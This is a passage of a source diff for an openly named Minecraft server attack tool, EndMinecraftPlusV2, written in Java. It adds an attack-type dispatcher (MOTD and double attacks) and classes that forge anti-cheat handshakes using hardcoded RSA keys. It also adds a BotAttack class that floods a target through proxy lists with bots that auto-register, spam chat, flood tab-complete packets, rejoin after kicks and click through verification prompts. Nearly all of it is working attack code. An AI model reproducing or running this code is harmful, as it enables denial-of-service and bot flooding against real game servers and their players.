cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods.IAttack motdAttack = new cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods.MotdAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay);
|
||||||
|
motdAttack.start();
|
||||||
|
} else {
|
||||||
|
IAttack motdAttack = new MotdAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay);
|
||||||
|
motdAttack.start();
|
||||||
|
}
|
||||||
|
|
||||||
|
break;
|
||||||
|
case 3:
|
||||||
|
// MotdAttackP
|
||||||
|
if (ProtocolLibs.highVersion) {
|
||||||
|
cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods.IAttack motdAttackP = new cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods.MotdAttackP(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay);
|
||||||
|
motdAttackP.start();
|
||||||
|
} else {
|
||||||
|
IAttack motdAttackP = new MotdAttackP(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay);
|
||||||
|
motdAttackP.start();
|
||||||
|
}
|
||||||
|
|
||||||
|
break;
|
||||||
|
case 4:
|
||||||
|
// DoubleAttack
|
||||||
|
Map<String, String> doubleModList = new HashMap<>();
|
||||||
|
|
||||||
|
if (ProtocolLibs.highVersion) {
|
||||||
|
if (!cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol.MCForge.isAfterVersion1_13()) {
|
||||||
|
LogUtil.doLog(0, "正在获取服务器上的Forge Mods...", "DoubleAttack");
|
||||||
|
doubleModList = new cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol.MCForgeMOTD().pingGetModsList(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol.MCForge.getProtocolVersion());
|
||||||
|
LogUtil.doLog(0, "Mods: " + Arrays.toString(doubleModList.keySet().toArray()), "DoubleAttack");
|
||||||
|
}
|
||||||
|
|
||||||
|
cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods.DoubleAttack attack = new cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods.DoubleAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay);
|
||||||
|
attack.setBotConfig(ConfigUtil.AntiAttackMode, ConfigUtil.TabAttack, doubleModList);
|
||||||
|
attack.setUsername(ConfigUtil.DoubleExploitPlayer);
|
||||||
|
attack.start();
|
||||||
|
} else {
|
||||||
|
if (!MCForge.isAfterVersion1_13()) {
|
||||||
|
LogUtil.doLog(0, "正在获取服务器上的Forge Mods...", "DoubleAttack");
|
||||||
|
doubleModList = new MCForgeMOTD().pingGetModsList(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, MCForge.getProtocolVersion());
|
||||||
|
LogUtil.doLog(0, "Mods: " + Arrays.toString(doubleModList.keySet().toArray()), "DoubleAttack");
|
||||||
|
}
|
||||||
|
|
||||||
|
DoubleAttack attack = new DoubleAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay);
|
||||||
|
attack.setBotConfig(ConfigUtil.AntiAttackMode, ConfigUtil.TabAttack, doubleModList);
|
||||||
|
attack.setUsername(ConfigUtil.DoubleExploitPlayer);
|
||||||
|
attack.start();
|
||||||
|
}
|
||||||
|
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
LogUtil.doLog(1, "攻击类型错误,停止运行。", null);
|
||||||
|
EndMinecraftPlusV2.Exit();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getRandomUser() {
|
||||||
|
return DataUtil.botRegPasswords.get(new Random().nextInt(DataUtil.botRegPasswords.size()));
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,101 @@
|
|||||||
|
package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ACProtocol;
|
||||||
|
|
||||||
|
import io.netty.buffer.ByteBuf;
|
||||||
|
import io.netty.buffer.ByteBufInputStream;
|
||||||
|
import io.netty.buffer.ByteBufOutputStream;
|
||||||
|
import io.netty.buffer.Unpooled;
|
||||||
|
import com.github.steveice10.opennbt.NBTIO;
|
||||||
|
import com.github.steveice10.opennbt.tag.builtin.ByteArrayTag;
|
||||||
|
import com.github.steveice10.opennbt.tag.builtin.CompoundTag;
|
||||||
|
import com.github.steveice10.opennbt.tag.builtin.ListTag;
|
||||||
|
|
||||||
|
import javax.crypto.Cipher;
|
||||||
|
import java.io.*;
|
||||||
|
import java.math.BigInteger;
|
||||||
|
import java.security.KeyFactory;
|
||||||
|
import java.security.MessageDigest;
|
||||||
|
import java.security.NoSuchAlgorithmException;
|
||||||
|
import java.security.spec.RSAPrivateKeySpec;
|
||||||
|
import java.security.spec.RSAPublicKeySpec;
|
||||||
|
import java.util.HashSet;
|
||||||
|
|
||||||
|
public class AnotherStarAntiCheat {
|
||||||
|
private final RSAPublicKeySpec clientPublicKey;
|
||||||
|
private final RSAPrivateKeySpec clientPrivateKey;
|
||||||
|
private final RSAPrivateKeySpec serverPrivateKey;
|
||||||
|
private final Cipher clientPublicCipher;
|
||||||
|
private final Cipher clientPrivateCipher;
|
||||||
|
|
||||||
|
{
|
||||||
|
clientPublicKey = new RSAPublicKeySpec(new BigInteger("110765265706288445432931740098429930486184776709780238438557625017629729661573053311960037088088056476891441153774532896215697933861615265976216025080531157954939381061122847093245480153835410088489980899310444547515616362801564379991216339336084947840837937083577860481298666622413144703510357744423856873247"), new BigInteger("65537"));
|
||||||
|
clientPrivateKey = new RSAPrivateKeySpec(new BigInteger("127165929499203230494093636558638013965252017663799535492473366241186172657381802456786953683177089298103209968185180374096740166047543803456852621212768600619629127825926162262624471403179175000577485553838478368190967564483813134073944752700839742123715548482599351441718070230200126591331603170595424433351"), new BigInteger("8120442115967552979504430611683477858989268564673406717365778685618263462946775764555188689810276923151226539464042905009305546407509816095746345114598417659887966619863710400187548253486545871530930302536230539029867970428580758154100440676071461522806034959078299053007522099777875429363283152166104624633"));
|
||||||
|
serverPrivateKey = new RSAPrivateKeySpec(new BigInteger("110765265706288445432931740098429930486184776709780238438557625017629729661573053311960037088088056476891441153774532896215697933861615265976216025080531157954939381061122847093245480153835410088489980899310444547515616362801564379991216339336084947840837937083577860481298666622413144703510357744423856873247"), new BigInteger("46811199235043884723986609175064677734346396089701745030024727102450381043328026268845951862745851965156510759358732282931568208403881136178696846768321267356928789780189985031058525539943424151785807761491334305713351706700232920994479762308513198807509163912459260953727448797718901389753582140608347129153"));
|
||||||
|
|
||||||
|
try {
|
||||||
|
(clientPublicCipher = Cipher.getInstance("RSA")).init(1, KeyFactory.getInstance("RSA").generatePublic(clientPublicKey));
|
||||||
|
(clientPrivateCipher = Cipher.getInstance("RSA")).init(2, KeyFactory.getInstance("RSA").generatePrivate(clientPrivateKey));
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void ctsEncode(ByteBuf buf, byte[][] md5s) {
|
||||||
|
try {
|
||||||
|
CompoundTag nbt = new CompoundTag("");
|
||||||
|
ListTag strList = new ListTag("md5s", ByteArrayTag.class);
|
||||||
|
for (final byte[] md5 : md5s) {
|
||||||
|
strList.add(new ByteArrayTag("", md5));
|
||||||
|
}
|
||||||
|
nbt.put(strList);
|
||||||
|
NBTIO.writeTag((OutputStream) new DataOutputStream(new ByteBufOutputStream(buf)), nbt);
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private byte[] stcDecode(ByteBuf buf) {
|
||||||
|
try {
|
||||||
|
CompoundTag nbt = (CompoundTag) NBTIO.readTag((InputStream) new DataInputStream(new ByteBufInputStream(buf)));
|
||||||
|
return ((ByteArrayTag) nbt.get("salt")).getValue();
|
||||||
|
} catch (IOException e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] encodeCPacket(String[] md5s, String salt) {
|
||||||
|
try {
|
||||||
|
HashSet<byte[]> rsaMd5s = new HashSet<byte[]>();
|
||||||
|
for (String md5 : md5s) {
|
||||||
|
rsaMd5s.add(clientPublicCipher.doFinal(md5(md5 + salt).getBytes()));
|
||||||
|
}
|
||||||
|
|
||||||
|
ByteBuf buf = Unpooled.buffer();
|
||||||
|
buf.writeByte(1); // packet id
|
||||||
|
ctsEncode(buf, rsaMd5s.toArray(new byte[0][]));
|
||||||
|
return buf.array();
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public String decodeSPacket(byte[] data) {
|
||||||
|
try {
|
||||||
|
ByteBuf buf = Unpooled.copiedBuffer(data);
|
||||||
|
buf.readByte(); // packet id
|
||||||
|
return new String(clientPrivateCipher.doFinal(stcDecode(buf)));
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public String md5(String str) {
|
||||||
|
try {
|
||||||
|
MessageDigest md = MessageDigest.getInstance("MD5");
|
||||||
|
md.update(str.getBytes());
|
||||||
|
byte[] digest = md.digest();
|
||||||
|
return String.format("%0" + (digest.length << 1) + "x", new BigInteger(1, digest));
|
||||||
|
} catch (NoSuchAlgorithmException e) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,81 @@
|
|||||||
|
package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ACProtocol;
|
||||||
|
|
||||||
|
import java.io.*;
|
||||||
|
import java.math.BigInteger;
|
||||||
|
import java.security.MessageDigest;
|
||||||
|
import java.security.NoSuchAlgorithmException;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
import java.util.zip.GZIPOutputStream;
|
||||||
|
|
||||||
|
public class AntiCheat3 {
|
||||||
|
|
||||||
|
public byte[] getCheckData(String acFile, String code, String[] md5List) {
|
||||||
|
try {
|
||||||
|
byte[] buf1 = code.substring(0, 30).getBytes();
|
||||||
|
|
||||||
|
FileInputStream in = new FileInputStream(new File("lib", acFile));
|
||||||
|
byte[] buf2 = new byte[in.available()];
|
||||||
|
in.read(buf2);
|
||||||
|
|
||||||
|
byte[] buf3 = new byte[buf1.length + buf2.length];
|
||||||
|
System.arraycopy(buf1, 0, buf3, 0, buf1.length);
|
||||||
|
System.arraycopy(buf2, 0, buf3, buf1.length, buf2.length);
|
||||||
|
|
||||||
|
try {
|
||||||
|
in.close();
|
||||||
|
} catch (IOException e2) {
|
||||||
|
}
|
||||||
|
|
||||||
|
String result = "";
|
||||||
|
if (md5List != null) {
|
||||||
|
for (String md5 : md5List) {
|
||||||
|
result += md5 + ",";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
result += md5(buf3);
|
||||||
|
return compress(result);
|
||||||
|
} catch (IOException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] compress(String str) {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
GZIPOutputStream gzip;
|
||||||
|
try {
|
||||||
|
gzip = new GZIPOutputStream(out);
|
||||||
|
gzip.write(str.getBytes());
|
||||||
|
gzip.close();
|
||||||
|
} catch (IOException e) {
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
public String uncompress(byte[] data) {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
ByteArrayInputStream in = new ByteArrayInputStream(data);
|
||||||
|
try {
|
||||||
|
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||||
|
byte[] buffer = new byte[256];
|
||||||
|
int n;
|
||||||
|
while ((n = ungzip.read(buffer)) >= 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
} catch (IOException e) {
|
||||||
|
}
|
||||||
|
|
||||||
|
return new String(out.toByteArray());
|
||||||
|
}
|
||||||
|
|
||||||
|
public String md5(byte[] buf) {
|
||||||
|
try {
|
||||||
|
MessageDigest md = MessageDigest.getInstance("MD5");
|
||||||
|
md.update(buf);
|
||||||
|
byte[] digest = md.digest();
|
||||||
|
return String.format("%0" + (digest.length << 1) + "x", new BigInteger(1, digest));
|
||||||
|
} catch (NoSuchAlgorithmException e) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,378 @@
|
|||||||
|
package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods;
|
||||||
|
|
||||||
|
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ACProtocol.AnotherStarAntiCheat;
|
||||||
|
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ACProtocol.AntiCheat3;
|
||||||
|
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol.MCForge;
|
||||||
|
import cn.serendipityr.EndMinecraftPlusV2.Tools.*;
|
||||||
|
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.AttackManager;
|
||||||
|
import io.netty.util.internal.ConcurrentSet;
|
||||||
|
import com.github.steveice10.mc.protocol.MinecraftProtocol;
|
||||||
|
import com.github.steveice10.mc.protocol.data.message.Message;
|
||||||
|
import com.github.steveice10.mc.protocol.packet.ingame.client.ClientChatPacket;
|
||||||
|
import com.github.steveice10.mc.protocol.packet.ingame.client.ClientPluginMessagePacket;
|
||||||
|
import com.github.steveice10.mc.protocol.packet.ingame.client.player.ClientPlayerMovementPacket;
|
||||||
|
import com.github.steveice10.mc.protocol.packet.ingame.server.ServerChatPacket;
|
||||||
|
import com.github.steveice10.mc.protocol.packet.ingame.server.ServerJoinGamePacket;
|
||||||
|
import com.github.steveice10.mc.protocol.packet.ingame.server.ServerPluginMessagePacket;
|
||||||
|
import com.github.steveice10.mc.protocol.packet.ingame.server.entity.player.ServerPlayerPositionRotationPacket;
|
||||||
|
import com.github.steveice10.packetlib.Client;
|
||||||
|
import com.github.steveice10.packetlib.Session;
|
||||||
|
import com.github.steveice10.packetlib.event.session.*;
|
||||||
|
import com.github.steveice10.packetlib.packet.Packet;
|
||||||
|
import com.github.steveice10.packetlib.tcp.TcpSessionFactory;
|
||||||
|
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.net.InetSocketAddress;
|
||||||
|
import java.net.Proxy;
|
||||||
|
import java.net.Socket;
|
||||||
|
import java.util.*;
|
||||||
|
import java.util.concurrent.ExecutorService;
|
||||||
|
import java.util.concurrent.Executors;
|
||||||
|
|
||||||
|
public class BotAttack extends IAttack {
|
||||||
|
public static HashMap<Client, String> clientName = new HashMap<>();
|
||||||
|
public static int failed = 0;
|
||||||
|
public static int joined = 0;
|
||||||
|
public static int rejoin = 0;
|
||||||
|
public static int clickVerifies = 0;
|
||||||
|
public static List<String> alivePlayers = new ArrayList<>();
|
||||||
|
protected boolean attack_motdbefore;
|
||||||
|
protected boolean attack_tab;
|
||||||
|
protected Map<String, String> modList;
|
||||||
|
|
||||||
|
private Thread mainThread;
|
||||||
|
private Thread tabThread;
|
||||||
|
private Thread taskThread;
|
||||||
|
|
||||||
|
public Set<Client> clients = new ConcurrentSet<>();
|
||||||
|
public ExecutorService pool = Executors.newCachedThreadPool();
|
||||||
|
|
||||||
|
private static final AntiCheat3 ac3 = new AntiCheat3();
|
||||||
|
private static final AnotherStarAntiCheat asac = new AnotherStarAntiCheat();
|
||||||
|
|
||||||
|
private long starttime;
|
||||||
|
|
||||||
|
public BotAttack(String ip, int port, int time, int maxconnect, long joinsleep) {
|
||||||
|
super(ip, port, time, maxconnect, joinsleep);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setBotConfig(boolean motdbefore, boolean tab, Map<String, String> modList) {
|
||||||
|
this.attack_motdbefore = motdbefore;
|
||||||
|
this.attack_tab = tab;
|
||||||
|
this.modList = modList;
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getRandMessage(String userName) {
|
||||||
|
return ConfigUtil.CustomChat.get(new Random().nextInt(ConfigUtil.CustomChat.size())).replace("$rnd",OtherUtils.getRandomString(4,6).replace("$pwd",DataUtil.botRegPasswordsMap.get(userName)));
|
||||||
|
}
|
||||||
|
|
||||||
|
public void start() {
|
||||||
|
setTask(() -> {
|
||||||
|
while (true) {
|
||||||
|
for (Client c : clients) {
|
||||||
|
if (c.getSession().isConnected()) {
|
||||||
|
if (c.getSession().hasFlag("login")) {
|
||||||
|
if (ConfigUtil.ChatSpam) {
|
||||||
|
c.getSession().send(new ClientChatPacket(getRandMessage(clientName.get(c))));
|
||||||
|
}
|
||||||
|
|
||||||
|
OtherUtils.doSleep(ConfigUtil.ChatDelay);
|
||||||
|
} else if (c.getSession().hasFlag("join")) {
|
||||||
|
if (ConfigUtil.RegisterAndLogin) {
|
||||||
|
for (String cmd:ConfigUtil.RegisterCommands) {
|
||||||
|
c.getSession().send(new ClientChatPacket(cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c)))));
|
||||||
|
OtherUtils.doSleep(ConfigUtil.ChatDelay);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
c.getSession().setFlag("login", true);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
OtherUtils.doSleep(5 * 1000);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
this.starttime = System.currentTimeMillis();
|
||||||
|
|
||||||
|
mainThread = new Thread(() -> {
|
||||||
|
while (true) {
|
||||||
|
try {
|
||||||
|
cleanClients();
|
||||||
|
createClients(ip, port);
|
||||||
|
OtherUtils.doSleep(10 * 1000);
|
||||||
|
|
||||||
|
if (this.attack_time > 0 && (System.currentTimeMillis() - this.starttime) / 1000 > this.attack_time) {
|
||||||
|
for (Client c : clients) {
|
||||||
|
c.getSession().disconnect("");
|
||||||
|
}
|
||||||
|
stop();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
LogUtil.doLog(0, "当前连接数: " + clients.size() + "个", "BotAttack");
|
||||||
|
} catch (Exception e) {
|
||||||
|
LogUtil.doLog(1, "发生错误: " + e, null);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
if (this.attack_tab) {
|
||||||
|
tabThread = new Thread(() -> {
|
||||||
|
while (true) {
|
||||||
|
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joined + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin);
|
||||||
|
|
||||||
|
for (Client c : clients) {
|
||||||
|
if (c.getSession().isConnected() && c.getSession().hasFlag("join")) {
|
||||||
|
MultiVersionPacket.sendTabPacket(c.getSession(), "/");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
OtherUtils.doSleep(10);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
mainThread.start();
|
||||||
|
if (tabThread != null)
|
||||||
|
tabThread.start();
|
||||||
|
if (taskThread != null)
|
||||||
|
taskThread.start();
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("deprecation")
|
||||||
|
public void stop() {
|
||||||
|
mainThread.stop();
|
||||||
|
if (tabThread != null)
|
||||||
|
tabThread.stop();
|
||||||
|
if (taskThread != null)
|
||||||
|
taskThread.stop();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setTask(Runnable task) {
|
||||||
|
taskThread = new Thread(task);
|
||||||
|
}
|
||||||
|
|
||||||
|
private void cleanClients() {
|
||||||
|
clients.removeIf(c -> !c.getSession().isConnected());
|
||||||
|
}
|
||||||
|
|
||||||
|
private void createClients(final String ip, int port) {
|
||||||
|
Proxy.Type proxyType;
|
||||||
|
switch (ConfigUtil.ProxyType) {
|
||||||
|
case 2:
|
||||||
|
proxyType = Proxy.Type.SOCKS;
|
||||||
|
break;
|
||||||
|
case 1:
|
||||||
|
default:
|
||||||
|
proxyType = Proxy.Type.HTTP;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (String p: ProxyUtil.proxies) {
|
||||||
|
try {
|
||||||
|
String[] _p = p.split(":");
|
||||||
|
Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
|
||||||
|
String[] User = AttackManager.getRandomUser().split("@");
|
||||||
|
Client client = createClient(ip, port, User[0], proxy);
|
||||||
|
client.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.ConnectDelay));
|
||||||
|
client.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectDelay));
|
||||||
|
clientName.put(client, User[0]);
|
||||||
|
clients.add(client);
|
||||||
|
ProxyUtil.clientsProxy.put(client.getSession(), proxy);
|
||||||
|
|
||||||
|
if (this.attack_motdbefore) {
|
||||||
|
pool.submit(() -> {
|
||||||
|
getMotd(proxy, ip, port);
|
||||||
|
client.getSession().connect(false);
|
||||||
|
});
|
||||||
|
} else {
|
||||||
|
client.getSession().connect(false);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (this.attack_maxconnect > 0 && (clients.size() > this.attack_maxconnect))
|
||||||
|
return;
|
||||||
|
if (this.attack_joinsleep > 0)
|
||||||
|
OtherUtils.doSleep(attack_joinsleep);
|
||||||
|
} catch (Exception e) {
|
||||||
|
LogUtil.doLog(1, "发生错误: " + e, null);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public Client createClient(final String ip, int port, final String username, Proxy proxy) {
|
||||||
|
Client client = new Client(ip, port, new MinecraftProtocol(username), new TcpSessionFactory(proxy));
|
||||||
|
new MCForge(client.getSession(), this.modList).init();
|
||||||
|
|
||||||
|
client.getSession().addListener(new SessionListener() {
|
||||||
|
public void packetReceived(PacketReceivedEvent e) {
|
||||||
|
handlePacket(e.getSession(), e.getPacket(), username);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void packetSending(PacketSendingEvent packetSendingEvent) {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public void packetSent(PacketSentEvent e) {
|
||||||
|
}
|
||||||
|
|
||||||
|
public void connected(ConnectedEvent e) {
|
||||||
|
}
|
||||||
|
|
||||||
|
public void disconnecting(DisconnectingEvent e) {
|
||||||
|
}
|
||||||
|
|
||||||
|
public void disconnected(DisconnectedEvent e) {
|
||||||
|
String msg;
|
||||||
|
|
||||||
|
if (e.getCause() == null) {
|
||||||
|
msg = e.getReason();
|
||||||
|
LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + msg, "BotAttack");
|
||||||
|
|
||||||
|
if (ConfigUtil.SaveWorkingProxy) {
|
||||||
|
ProxyUtil.saveWorkingProxy(proxy);
|
||||||
|
}
|
||||||
|
|
||||||
|
for (String rejoinDetect:ConfigUtil.RejoinDetect) {
|
||||||
|
if (msg.contains(rejoinDetect)) {
|
||||||
|
for (int i = 0; i < ConfigUtil.RejoinCount; i++) {
|
||||||
|
Client rejoinClient = createClient(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, username, proxy);
|
||||||
|
rejoinClient.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.RejoinDelay));
|
||||||
|
rejoinClient.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.RejoinDelay));
|
||||||
|
|
||||||
|
rejoin++;
|
||||||
|
LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack");
|
||||||
|
clientName.put(rejoinClient, username);
|
||||||
|
clients.add(rejoinClient);
|
||||||
|
rejoinClient.getSession().connect(false);
|
||||||
|
|
||||||
|
OtherUtils.doSleep(ConfigUtil.RejoinDelay);
|
||||||
|
|
||||||
|
if (rejoinClient.getSession().hasFlag("join") || rejoinClient.getSession().hasFlag("login")) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else if (ConfigUtil.ShowFails) {
|
||||||
|
msg = e.getCause().getMessage();
|
||||||
|
LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + msg, "BotAttack");
|
||||||
|
}
|
||||||
|
|
||||||
|
failed++;
|
||||||
|
alivePlayers.remove(username);
|
||||||
|
|
||||||
|
client.getSession().disconnect("");
|
||||||
|
clients.remove(client);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
return client;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void getMotd(Proxy proxy, String ip, int port) {
|
||||||
|
try {
|
||||||
|
Socket socket = new Socket(proxy);
|
||||||
|
socket.connect(new InetSocketAddress(ip, port));
|
||||||
|
if (socket.isConnected()) {
|
||||||
|
OutputStream out = socket.getOutputStream();
|
||||||
|
InputStream in = socket.getInputStream();
|
||||||
|
out.write(new byte[]{0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01});
|
||||||
|
out.write(new byte[]{0x01, 0x00});
|
||||||
|
out.flush();
|
||||||
|
in.read();
|
||||||
|
|
||||||
|
try {
|
||||||
|
in.close();
|
||||||
|
out.close();
|
||||||
|
socket.close();
|
||||||
|
} catch (Exception ignored) {}
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
socket.close();
|
||||||
|
} catch (Exception ignored) {}
|
||||||
|
}
|
||||||
|
|
||||||
|
protected void handlePacket(Session session, Packet recvPacket, String username) {
|
||||||
|
if (recvPacket instanceof ServerPluginMessagePacket) {
|
||||||
|
ServerPluginMessagePacket packet = (ServerPluginMessagePacket) recvPacket;
|
||||||
|
switch (packet.getChannel()) {
|
||||||
|
case "AntiCheat3.4.3":
|
||||||
|
String code = ac3.uncompress(packet.getData());
|
||||||
|
byte[] checkData = ac3.getCheckData("AntiCheat3.jar", code,
|
||||||
|
new String[]{"44f6bc86a41fa0555784c255e3174260"});
|
||||||
|
session.send(new ClientPluginMessagePacket("AntiCheat3.4.3", checkData));
|
||||||
|
break;
|
||||||
|
case "anotherstaranticheat":
|
||||||
|
String salt = asac.decodeSPacket(packet.getData());
|
||||||
|
byte[] data = asac.encodeCPacket(new String[]{"4863f8708f0c24517bb5d108d45f3e15"}, salt);
|
||||||
|
session.send(new ClientPluginMessagePacket("anotherstaranticheat", data));
|
||||||
|
break;
|
||||||
|
case "VexView":
|
||||||
|
if (new String(packet.getData()).equals("GET:Verification"))
|
||||||
|
session.send(new ClientPluginMessagePacket("VexView", "Verification:1.8.10".getBytes()));
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
} else if (recvPacket instanceof ServerJoinGamePacket) {
|
||||||
|
session.setFlag("join", true);
|
||||||
|
LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack");
|
||||||
|
joined++;
|
||||||
|
|
||||||
|
if (ConfigUtil.SaveWorkingProxy) {
|
||||||
|
ProxyUtil.saveWorkingProxy(ProxyUtil.clientsProxy.get(session));
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!alivePlayers.contains(username)) {
|
||||||
|
alivePlayers.add(username);
|
||||||
|
}
|
||||||
|
|
||||||
|
MultiVersionPacket.sendClientSettingPacket(session, "zh_CN");
|
||||||
|
MultiVersionPacket.sendClientPlayerChangeHeldItemPacket(session, 1);
|
||||||
|
} else if (recvPacket instanceof ServerPlayerPositionRotationPacket) {
|
||||||
|
try {
|
||||||
|
ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket;
|
||||||
|
MultiVersionPacket.sendPosPacket(session, packet.getX(), packet.getY(), packet.getZ(), packet.getYaw(), packet.getYaw());
|
||||||
|
session.send(new ClientPlayerMovementPacket(true));
|
||||||
|
MultiVersionPacket.sendClientTeleportConfirmPacket(session, packet);
|
||||||
|
} catch (Exception ignored) {}
|
||||||
|
|
||||||
|
} else if (recvPacket instanceof ServerChatPacket) {
|
||||||
|
ServerChatPacket chatPacket = (ServerChatPacket) recvPacket;
|
||||||
|
clickVerifiesHandle(chatPacket.getMessage(), session, username);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void clickVerifiesHandle(Message message, Session session, String username) {
|
||||||
|
boolean needClick = false;
|
||||||
|
|
||||||
|
if (message.getStyle().getClickEvent() != null) {
|
||||||
|
for (String clickVerifiesDetect:ConfigUtil.ClickVerifiesDetect) {
|
||||||
|
if (message.getText().contains(clickVerifiesDetect)) {
|
||||||
|
needClick = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (needClick) {
|
||||||
|
LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + message.getStyle().getClickEvent().getValue(), "BotAttack");
|
||||||
|
session.send(new ClientChatPacket(message.getStyle().getClickEvent().getValue()));
|
||||||
|
clickVerifies++;
|
||||||
|
